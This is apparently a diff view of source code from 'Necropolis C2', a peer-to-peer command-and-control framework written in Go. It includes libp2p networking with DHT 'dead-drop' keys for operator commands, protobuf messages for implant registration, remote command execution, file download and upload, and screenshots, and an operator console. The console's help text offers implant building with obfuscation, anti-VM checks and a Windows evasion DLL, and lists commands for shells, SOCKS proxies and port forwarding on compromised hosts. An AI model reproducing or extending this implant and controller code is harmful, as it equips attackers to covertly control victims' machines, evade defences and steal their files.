}
// SetStreamHandler registers a handler for the given protocol ID on the libp2p host.
func (n *Node) SetStreamHandler(pid protocol.ID, handler network.StreamHandler) {
n.Host.SetStreamHandler(pid, handler)
}
// NewStream opens a libp2p stream to the given peer on the given protocol.
func (n *Node) NewStream(ctx context.Context, p peer.ID, pid protocol.ID) (network.Stream, error) {
return n.Host.NewStream(ctx, p, pid)
}
// WaitForDHT blocks until the DHT routing table has at least 5 peers, or 30 attempts.
func (n *Node) WaitForDHT(ctx context.Context) bool {
for i := 0; i < 30; i++ {
if n.DHT.RoutingTable().Size() >= 5 {
return true
}
select {
case <-ctx.Done():
return false
case <-time.After(2 * time.Second):
}
}
return false
}
// Close cancels the node context, shuts down the DHT, and closes the host.
func (n *Node) Close() error {
n.cancel()
if n.DHT != nil {
n.DHT.Close()
}
return n.Host.Close()
}
// Addrs returns the host's multiaddresses.
func (n *Node) Addrs() []multiaddr.Multiaddr {
return n.Host.Addrs()
}
// ID returns the host's libp2p peer ID.
func (n *Node) ID() peer.ID {
return n.Host.ID()
}
// PutDHTValue stores a value under key in the DHT. Value size limited to ~1KB.
func (n *Node) PutDHTValue(ctx context.Context, key string, value []byte) error {
if n.DHT == nil {
return fmt.Errorf("DHT not enabled")
}
return n.DHT.PutValue(ctx, key, value)
}
// GetDHTValue retrieves the best value for key from the DHT.
func (n *Node) GetDHTValue(ctx context.Context, key string) ([]byte, error) {
if n.DHT == nil {
return nil, fmt.Errorf("DHT not enabled")
}
val, err := n.DHT.GetValue(ctx, key)
if err != nil {
return nil, err
}
return val, nil
}
// passThroughValidator accepts any key/value — used for DHT dead-drop namespace
// where we just need storage with no validation.
type passThroughValidator struct{}
func (passThroughValidator) Validate(_ string, _ []byte) error { return nil }
func (passThroughValidator) Select(_ string, _ [][]byte) (int, error) { return 0, nil }
// CommandDHTKey returns the DHT key for operator command dead-drops.
// Registered under the /necropolis/ namespace via NamespacedValidator.
func CommandDHTKey(operatorID peer.ID, nonce int64) string {
return "/necropolis/cmd/" + operatorID.String() + "/" + fmt.Sprintf("%d", nonce)
}
// RelayRendezvousString returns the DHT namespace for relay peer discovery.
func (n *Node) RelayRendezvousString(operatorID peer.ID) string {
return "necropolis/relay/" + operatorID.String()
}
// AdvertiseRelay advertises this node as a relay on the given DHT namespace.
func (n *Node) AdvertiseRelay(ctx context.Context, ns string) error {
if n.disc == nil {
return fmt.Errorf("DHT not enabled")
}
_, err := n.disc.Advertise(ctx, ns)
return err
}
// FindRelayPeers discovers peers advertising themselves as relays on the given namespace.
func (n *Node) FindRelayPeers(ctx context.Context, ns string, limit int) ([]peer.AddrInfo, error) {
if n.disc == nil {
return nil, fmt.Errorf("DHT not enabled")
}
peerCh, err := n.disc.FindPeers(ctx, ns)
if err != nil {
return nil, err
}
var out []peer.AddrInfo
for pi := range peerCh {
if len(pi.Addrs) == 0 {
continue
}
out = append(out, pi)
if len(out) >= limit {
break
}
}
return out, nil
}
// findRelayCandidates scans connected peers for those running circuit relay.
func findRelayCandidates(ctx context.Context, num int, h host.Host) <-chan peer.AddrInfo {
ch := make(chan peer.AddrInfo, num)
go func() {
defer func() {
recover()
}()
defer close(ch)
if h == nil {
return
}
for _, p := range h.Network().Peers() {
if len(ch) >= num {
return
}
protocols, err := h.Peerstore().GetProtocols(p)
if err != nil {
continue
}
for _, proto := range protocols {
if strings.Contains(string(proto), "circuit/relay") {
addrs := h.Peerstore().Addrs(p)
if len(addrs) > 0 {
select {
case ch <- peer.AddrInfo{ID: p, Addrs: addrs}:
case <-ctx.Done():
return
}
}
break
}
}
}
}()
return ch
}
// tryStaticRelayConnections attempts to connect to each static relay address in the config.
func tryStaticRelayConnections(ctx context.Context, h host.Host, relayAddrs []string) {
for _, s := range relayAddrs {
m, err := multiaddr.NewMultiaddr(s)
if err != nil {
log.Printf("[node] parse relay addr %q: %v", s, err)
continue
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
log.Printf("[node] parse relay peer %q: %v", s, err)
continue
}
connCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
err = h.Connect(connCtx, *pi)
cancel()
if err != nil {
log.Printf("[node] relay %s unreachable: %v", pi.ID.String(), err)
continue
}
log.Printf("[node] connected to relay %s", pi.ID.String())
}
}
+23
View File
@@ -0,0 +1,23 @@
package transport
const (
MsgTypeRegister = uint32(0)
MsgTypePing = uint32(1) // retired, preserves wire numbering
MsgTypeTask = uint32(2)
MsgTypeTaskResult = uint32(3)
MsgTypeShell = uint32(4)
MsgTypeDownload = uint32(5)
MsgTypeUpload = uint32(6)
MsgTypeSocks = uint32(7)
MsgTypePortfwd = uint32(8)
MsgTypeScreenshot = uint32(9)
MsgTypeLs = uint32(10)
MsgTypeCd = uint32(11)
MsgTypePwd = uint32(12)
MsgTypeExecute = uint32(13)
MsgTypeKill = uint32(14)
MsgTypePs = uint32(15)
MsgTypeDeadMan = uint32(16)
MsgTypeCover = uint32(127)
MsgTypeDisconnect = uint32(255)
)
File diff suppressed because it is too large Load Diff
+153
View File
@@ -0,0 +1,153 @@
syntax = "proto3";
package apb;
option go_package = "github.com/Yenn503/NecropolisC2/protobuf/apb";
import "cpb/common.proto";
// Envelope wraps all messages sent between operator and implant
message Envelope {
int64 ID = 1;
uint32 Type = 2;
bytes Data = 3;
bytes Signature = 4;
bytes SenderKey = 5;
bytes Token = 6;
}
// Register - First message implant sends after connecting
message Register {
string Name = 1;
string Hostname = 2;
string UUID = 3;
string Username = 4;
string UID = 5;
string GID = 6;
string OS = 7;
string Arch = 8;
int32 PID = 9;
string Filename = 10;
string Version = 11;
int64 PeerID = 12;
string ActiveC2 = 13;
int64 ReconnectInterval = 14;
string Locale = 15;
bytes BoxPubKey = 16;
}
// Z1 - Used for async beacon mode
message Z1 {
string ID = 1;
int64 Interval = 2;
int64 Jitter = 3;
Register Register = 4;
int64 NextCheckin = 5;
}
// Z4 removed — alternate kill request, never used
// Z5/Z6 removed — interactive shell via proto, not used (shell uses direct streams)
// Z7/Z8 removed — stream tunnel abstraction, not used
// Z9/Z10 removed — SOCKS via TunnelID, not used (SOCKS uses direct streams)
// Z11 removed — IPFS exfiltration, not used
// Z12 - List processes
message Z12 {
cpb.Request Request = 9;
}
message Z13 {
repeated cpb.Process Processes = 1;
cpb.Response Response = 9;
}
// Z14 - Run a command
message Z14 {
string Path = 1;
repeated string Args = 2;
bool Output = 3;
cpb.Request Request = 9;
}
message Z15 {
uint32 Status = 1;
bytes Stdout = 2;
bytes Stderr = 3;
uint32 Pid = 4;
cpb.Response Response = 9;
}
// Z16 - List directory
message Z16 {
string Path = 1;
cpb.Request Request = 9;
}
message Z18 {
string Name = 1;
bool IsDir = 2;
int64 Size = 3;
int64 ModTime = 4;
string Mode = 5;
string Link = 6;
}
message Z17 {
string Path = 1;
bool Exists = 2;
repeated Z18 Files = 3;
cpb.Response Response = 9;
}
// Z19 - Change directory
message Z19 {
string Path = 1;
cpb.Request Request = 9;
}
message Z20 {
cpb.Request Request = 9;
}
message Z21 {
string Path = 1;
cpb.Response Response = 9;
}
// Z22 - Z23 file from implant
message Z22 {
string Path = 1;
cpb.Request Request = 9;
}
message Z23 {
string Path = 1;
bool Exists = 2;
bytes Data = 3;
cpb.Response Response = 9;
}
// Z24 - Z25 file to implant
message Z24 {
string Path = 1;
bytes Data = 2;
bool Overwrite = 3;
cpb.Request Request = 9;
}
message Z25 {
string Path = 1;
int32 BytesWritten = 2;
cpb.Response Response = 9;
}
// Z2 - Capture screen
message Z2 {
cpb.Request Request = 9;
}
message Z3 {
bytes Data = 1;
cpb.Response Response = 9;
}
// Z5-Z11 removed — dead spec from original fork. Shell/portfwd/SOCKS use direct libp2p
// streams instead of protobuf tunnels. IPFS was never wired. Regenerate with protoc.
+494
View File
@@ -0,0 +1,494 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.34.2
// protoc v5.28.2
// source: cpb/common.proto
package cpb
import (
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
reflect "reflect"
sync "sync"
)
const (
// Verify that this generated code is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
// Verify that runtime/protoimpl is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
)
type Empty struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
}
func (x *Empty) Reset() {
*x = Empty{}
if protoimpl.UnsafeEnabled {
mi := &file_cpb_common_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Empty) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Empty) ProtoMessage() {}
func (x *Empty) ProtoReflect() protoreflect.Message {
mi := &file_cpb_common_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Empty.ProtoReflect.Descriptor instead.
func (*Empty) Descriptor() ([]byte, []int) {
return file_cpb_common_proto_rawDescGZIP(), []int{0}
}
type Process struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
Name string `protobuf:"bytes,3,opt,name=Name,proto3" json:"Name,omitempty"`
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
Path string `protobuf:"bytes,5,opt,name=Path,proto3" json:"Path,omitempty"`
Args string `protobuf:"bytes,6,opt,name=Args,proto3" json:"Args,omitempty"`
Session string `protobuf:"bytes,7,opt,name=Session,proto3" json:"Session,omitempty"`
Architecture string `protobuf:"bytes,8,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
}
func (x *Process) Reset() {
*x = Process{}
if protoimpl.UnsafeEnabled {
mi := &file_cpb_common_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Process) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Process) ProtoMessage() {}
func (x *Process) ProtoReflect() protoreflect.Message {
mi := &file_cpb_common_proto_msgTypes[1]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Process.ProtoReflect.Descriptor instead.
func (*Process) Descriptor() ([]byte, []int) {
return file_cpb_common_proto_rawDescGZIP(), []int{1}
}
func (x *Process) GetPid() int32 {
if x != nil {
return x.Pid
}
return 0
}
func (x *Process) GetPpid() int32 {
if x != nil {
return x.Ppid
}
return 0
}
func (x *Process) GetName() string {
if x != nil {
return x.Name
}
return ""
}
func (x *Process) GetOwner() string {
if x != nil {
return x.Owner
}
return ""
}
func (x *Process) GetPath() string {
if x != nil {
return x.Path
}
return ""
}
func (x *Process) GetArgs() string {
if x != nil {
return x.Args
}
return ""
}
func (x *Process) GetSession() string {
if x != nil {
return x.Session
}
return ""
}
func (x *Process) GetArchitecture() string {
if x != nil {
return x.Architecture
}
return ""
}
type EnvVar struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
}
func (x *EnvVar) Reset() {
*x = EnvVar{}
if protoimpl.UnsafeEnabled {
mi := &file_cpb_common_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *EnvVar) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*EnvVar) ProtoMessage() {}
func (x *EnvVar) ProtoReflect() protoreflect.Message {
mi := &file_cpb_common_proto_msgTypes[2]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use EnvVar.ProtoReflect.Descriptor instead.
func (*EnvVar) Descriptor() ([]byte, []int) {
return file_cpb_common_proto_rawDescGZIP(), []int{2}
}
func (x *EnvVar) GetKey() string {
if x != nil {
return x.Key
}
return ""
}
func (x *EnvVar) GetValue() string {
if x != nil {
return x.Value
}
return ""
}
type Response struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Err uint32 `protobuf:"varint,1,opt,name=Err,proto3" json:"Err,omitempty"`
ErrMsg string `protobuf:"bytes,2,opt,name=ErrMsg,proto3" json:"ErrMsg,omitempty"`
Data []byte `protobuf:"bytes,3,opt,name=Data,proto3" json:"Data,omitempty"`
}
func (x *Response) Reset() {
*x = Response{}
if protoimpl.UnsafeEnabled {
mi := &file_cpb_common_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Response) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Response) ProtoMessage() {}
func (x *Response) ProtoReflect() protoreflect.Message {
mi := &file_cpb_common_proto_msgTypes[3]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Response.ProtoReflect.Descriptor instead.
func (*Response) Descriptor() ([]byte, []int) {
return file_cpb_common_proto_rawDescGZIP(), []int{3}
}
func (x *Response) GetErr() uint32 {
if x != nil {
return x.Err
}
return 0
}
func (x *Response) GetErrMsg() string {
if x != nil {
return x.ErrMsg
}
return ""
}
func (x *Response) GetData() []byte {
if x != nil {
return x.Data
}
return nil
}
type Request struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Opcode uint32 `protobuf:"varint,1,opt,name=Opcode,proto3" json:"Opcode,omitempty"`
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
PeerID int64 `protobuf:"varint,3,opt,name=PeerID,proto3" json:"PeerID,omitempty"`
}
func (x *Request) Reset() {
*x = Request{}
if protoimpl.UnsafeEnabled {
mi := &file_cpb_common_proto_msgTypes[4]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Request) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Request) ProtoMessage() {}
func (x *Request) ProtoReflect() protoreflect.Message {
mi := &file_cpb_common_proto_msgTypes[4]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Request.ProtoReflect.Descriptor instead.
func (*Request) Descriptor() ([]byte, []int) {
return file_cpb_common_proto_rawDescGZIP(), []int{4}
}
func (x *Request) GetOpcode() uint32 {
if x != nil {
return x.Opcode
}
return 0
}
func (x *Request) GetData() []byte {
if x != nil {
return x.Data
}
return nil
}
func (x *Request) GetPeerID() int64 {
if x != nil {
return x.PeerID
}
return 0
}
var File_cpb_common_proto protoreflect.FileDescriptor
var file_cpb_common_proto_rawDesc = []byte{
0x0a, 0x10, 0x63, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x12, 0x03, 0x63, 0x70, 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79,
0x22, 0xbf, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03,
0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x12,
0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x50, 0x70,
0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09,
0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x18,
0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04,
0x50, 0x61, 0x74, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68,
0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x67, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
0x41, 0x72, 0x67, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18,
0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22,
0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x08,
0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75,
0x72, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, 0x6e, 0x76, 0x56, 0x61, 0x72, 0x12, 0x10, 0x0a, 0x03,
0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x14,
0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56,
0x61, 0x6c, 0x75, 0x65, 0x22, 0x48, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65,
0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x45,
0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x45, 0x72, 0x72, 0x4d, 0x73, 0x67, 0x18, 0x02, 0x20, 0x01,
0x28, 0x09, 0x52, 0x06, 0x45, 0x72, 0x72, 0x4d, 0x73, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61,
0x74, 0x61, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x4d,
0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x70, 0x63,
0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x06, 0x4f, 0x70, 0x63, 0x6f, 0x64,
0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52,
0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18,
0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x42, 0x2e, 0x5a,
0x2c, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x59, 0x65, 0x6e, 0x6e,
0x35, 0x30, 0x33, 0x2f, 0x4e, 0x65, 0x63, 0x72, 0x6f, 0x70, 0x6f, 0x6c, 0x69, 0x73, 0x43, 0x32,
0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
file_cpb_common_proto_rawDescOnce sync.Once
file_cpb_common_proto_rawDescData = file_cpb_common_proto_rawDesc
)
func file_cpb_common_proto_rawDescGZIP() []byte {
file_cpb_common_proto_rawDescOnce.Do(func() {
file_cpb_common_proto_rawDescData = protoimpl.X.CompressGZIP(file_cpb_common_proto_rawDescData)
})
return file_cpb_common_proto_rawDescData
}
var file_cpb_common_proto_msgTypes = make([]protoimpl.MessageInfo, 5)
var file_cpb_common_proto_goTypes = []any{
(*Empty)(nil), // 0: cpb.Empty
(*Process)(nil), // 1: cpb.Process
(*EnvVar)(nil), // 2: cpb.EnvVar
(*Response)(nil), // 3: cpb.Response
(*Request)(nil), // 4: cpb.Request
}
var file_cpb_common_proto_depIdxs = []int32{
0, // [0:0] is the sub-list for method output_type
0, // [0:0] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
}
func init() { file_cpb_common_proto_init() }
func file_cpb_common_proto_init() {
if File_cpb_common_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_cpb_common_proto_msgTypes[0].Exporter = func(v any, i int) any {
switch v := v.(*Empty); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_cpb_common_proto_msgTypes[1].Exporter = func(v any, i int) any {
switch v := v.(*Process); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_cpb_common_proto_msgTypes[2].Exporter = func(v any, i int) any {
switch v := v.(*EnvVar); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_cpb_common_proto_msgTypes[3].Exporter = func(v any, i int) any {
switch v := v.(*Response); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_cpb_common_proto_msgTypes[4].Exporter = func(v any, i int) any {
switch v := v.(*Request); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_cpb_common_proto_rawDesc,
NumEnums: 0,
NumMessages: 5,
NumExtensions: 0,
NumServices: 0,
},
GoTypes: file_cpb_common_proto_goTypes,
DependencyIndexes: file_cpb_common_proto_depIdxs,
MessageInfos: file_cpb_common_proto_msgTypes,
}.Build()
File_cpb_common_proto = out.File
file_cpb_common_proto_rawDesc = nil
file_cpb_common_proto_goTypes = nil
file_cpb_common_proto_depIdxs = nil
}
+33
View File
@@ -0,0 +1,33 @@
syntax = "proto3";
package cpb;
option go_package = "github.com/Yenn503/NecropolisC2/protobuf/cpb";
message Empty {}
message Process {
int32 Pid = 1;
int32 Ppid = 2;
string Name = 3;
string Owner = 4;
string Path = 5;
string Args = 6;
string Session = 7;
string Architecture = 8;
}
message EnvVar {
string Key = 1;
string Value = 2;
}
message Response {
uint32 Err = 1;
string ErrMsg = 2;
bytes Data = 3;
}
message Request {
uint32 Opcode = 1;
bytes Data = 2;
int64 PeerID = 3;
}
+555
View File
@@ -0,0 +1,555 @@
// Interactive command-line console for the operator. Provides command dispatch with
// history, auto-complete hints, and context-sensitive prompts.
package core
import (
"fmt"
"log"
"os"
"path/filepath"
"strconv"
"strings"
"time"
"github.com/peterh/liner"
)
var commandHelp = map[string]string{
"list": "list — show registered implants",
"select": "select <idx> — select implant by index",
"ps": "ps — list processes on selected implant",
"ls": "ls [path] — list directory (default: .)",
"cd": "cd [path] — change directory (default: .)",
"pwd": "pwd — print working directory",
"shell": "shell — interactive shell on selected implant (direct libp2p stream)",
"portfwd": "portfwd <local-port> <target-host:target-port> — forward local port through implant",
"exec": "exec <command> [args...] — execute command on selected implant",
"deadman": "deadman <timeout_seconds> <command> — set dead man switch (fires if no contact within timeout)",
"download": "download <remote-path> — download file from implant",
"upload": "upload <local-path> <remote-path> — upload file to implant",
"kill": "kill — terminate the selected implant",
"generate": "generate [flags] — build an implant\n --os <string> target OS: linux, darwin, windows (default: linux)\n --arch <string> target arch: amd64, arm64 (default: amd64)\n --output <path> output path (default: ./necropolis-implant)\n --pubkey <path> operator public key (default: ~/.necropolis/operator.pub)\n --upx enable UPX compression (default: false)\n --obfuscate obfuscate the binary with garble\n --quiet suppress output, detach from terminal, hide console on Windows\n --antivm enable VM detection (65+ techniques)\n --evasion embed Zig evasion DLL (kernel bypass on Windows)",
"regenerate": "regenerate — regenerate operator keypair (old implants will not call back)",
"socks": "socks start|list|stop — manage SOCKS5 proxies (use 'socks help' for details)",
"help": "help [command] — show this help or help for a specific command",
"exit": "exit — quit the console",
}
// checkHelp returns true if --help or -h is present in the args.
func checkHelp(args []string) bool {
for _, a := range args {
if a == "--help" || a == "-h" {
return true
}
}
return false
}
// RunCLI starts the interactive operator console read-eval-print loop. It handles
// implant selection, command dispatch, and manages the implant connection context.
func (o *Operator) RunCLI() {
os.MkdirAll(necropolisDir(), 0700)
line := liner.NewLiner()
defer line.Close()
line.SetCtrlCAborts(true)
histPath := filepath.Join(necropolisDir(), "history")
if f, err := os.Open(histPath); err == nil {
line.ReadHistory(f)
f.Close()
}
defer saveHistory(histPath, line)
var selected *ImplantRecord
fmt.Println(boldRed("Necropolis C2") + dim + " — The Citadel" + reset)
fmt.Println(dim + "Type 'help' for commands, 'help <command>' for details." + reset)
fmt.Println()
for {
if selected != nil && selected.Disconnected {
fmt.Printf("implant %s@%s disconnected — returning to main prompt\n", selected.Name, selected.Hostname)
selected = nil
}
prompt := boldRed("necropolis") + "> "
if selected != nil {
prompt = boldGreen(selected.Name+"@"+selected.Hostname) + "> "
}
fmt.Print(prompt)
input, err := line.Prompt("")
if err != nil {
if err == liner.ErrPromptAborted {
continue
}
break
}
input = strings.TrimSpace(input)
if input == "" {
continue
}
line.AppendHistory(input)
parts := strings.Fields(input)
cmd := parts[0]
args := parts[1:]
switch cmd {
case "exit", "quit":
return
case "help":
if len(args) > 0 {
if h, ok := commandHelp[args[0]]; ok {
fmt.Println(" " + h)
} else {
fmt.Printf("no help for '%s'\n", args[0])
}
continue
}
fmt.Println("Commands:")
for _, name := range []string{"list", "select", "ps", "ls", "cd", "pwd", "shell", "portfwd", "socks", "exec", "deadman", "download", "upload", "kill", "generate", "regenerate", "help", "exit"} {
line := commandHelp[name]
if i := strings.IndexByte(line, '\n'); i >= 0 {
line = line[:i]
}
fmt.Println(" " + line)
}
fmt.Println("Use 'help <command>' for details and flags.")
case "list":
if checkHelp(args) {
fmt.Println(" " + commandHelp["list"])
continue
}
implants := o.ListImplants()
active := 0
relayCount := 0
for _, rec := range implants {
if rec.Disconnected {
continue
}
relay := ""
if rec.IsRelay {
relay = " " + dimYellow("[relay]")
relayCount++
}
ago := time.Since(rec.LastCheckin).Round(time.Second)
fmt.Printf(" %d: %s@%s [%s/%s] last=%s peer=%s%s\n",
active, boldGreen(rec.Name), rec.Hostname, rec.OS, rec.Arch, ago, dim+shortenStr(rec.PeerID, 20)+reset, relay)
active++
}
if active == 0 {
fmt.Println("no connected implants")
} else {
fmt.Printf("%d connected (%d relays)\n", active, relayCount)
}
case "select":
if checkHelp(args) {
fmt.Println(" " + commandHelp["select"])
continue
}
if len(args) == 0 {
fmt.Println("usage: select <idx>")
continue
}
idx, err := strconv.Atoi(args[0])
if err != nil {
fmt.Printf("bad index: %v\n", err)
continue
}
implants := o.ListImplants()
// Filter to only connected implants for indexing
var connected []*ImplantRecord
for _, rec := range implants {
if !rec.Disconnected {
connected = append(connected, rec)
}
}
if idx < 0 || idx >= len(connected) {
fmt.Println("index out of range")
continue
}
selected = connected[idx]
o.SetSelected(selected.PeerID)
fmt.Printf("selected %s@%s (%s)\n", boldGreen(selected.Name), selected.Hostname, dim+selected.PeerID+reset)
case "ps":
if checkHelp(args) {
fmt.Println(" " + commandHelp["ps"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
if err := o.Ps(selected.PeerID); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("command sent")
}
case "ls":
if checkHelp(args) {
fmt.Println(" " + commandHelp["ls"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
path := "."
if len(args) > 0 {
path = args[0]
}
if err := o.Ls(selected.PeerID, path); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("command sent")
}
case "cd":
if checkHelp(args) {
fmt.Println(" " + commandHelp["cd"])
continue
}
if selected == nil {
fmt.Println("no implant selected (use 'select <idx>')")
continue
}
path := "."
if len(args) > 0 {
path = args[0]
}
if err := o.Cd(selected.PeerID, path); err != nil {
fmt.Printf("error: %v\n", err)
} else {
fmt.Println("command sent")
}
case "pwd":
if checkHelp(args) {
fmt.Println(" " + commandHelp["pwd"])
continue
}
if selected == nil {
